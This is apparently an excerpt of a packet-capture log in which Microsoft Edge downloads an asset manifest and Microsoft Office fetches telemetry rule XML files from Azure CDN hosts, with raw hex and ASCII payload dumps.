2024-11-16 18:22:27 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:27 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:27 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182227Z-1866b5c5fbbwmdwxhC1DFW5fbn00000000s0000000005tyt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 18:22:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49808	13.107.246.45	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:28 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:28 UTC	577	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:28 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 8d55dced-901e-000f-65df-3785f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T182228Z-16547b76f7ftnm6xhC1DFW9c8c00000002t000000000a1t0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:28 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-16 18:22:28 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-16 18:22:29 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-16 18:22:29 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-16 18:22:29 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-16 18:22:29 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-16 18:22:29 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-16 18:22:29 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-16 18:22:29 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-16 18:22:29 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49809	13.107.246.45	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:28 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182228Z-16547b76f7f64d6whC1DFWf9vn00000001ng00000000pnbk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:28 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:28 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182228Z-16547b76f7fwm7vghC1DFW900s00000000p000000000mmg1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:28 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:28 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 5e76363e-701e-0021-7c79-373d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182228Z-164f84587bf28gjzhC1DFW35kg000000030000000000mzbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:28 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182228Z-16547b76f7fhvzzthC1DFW557000000003bg000000000e8n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:28 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
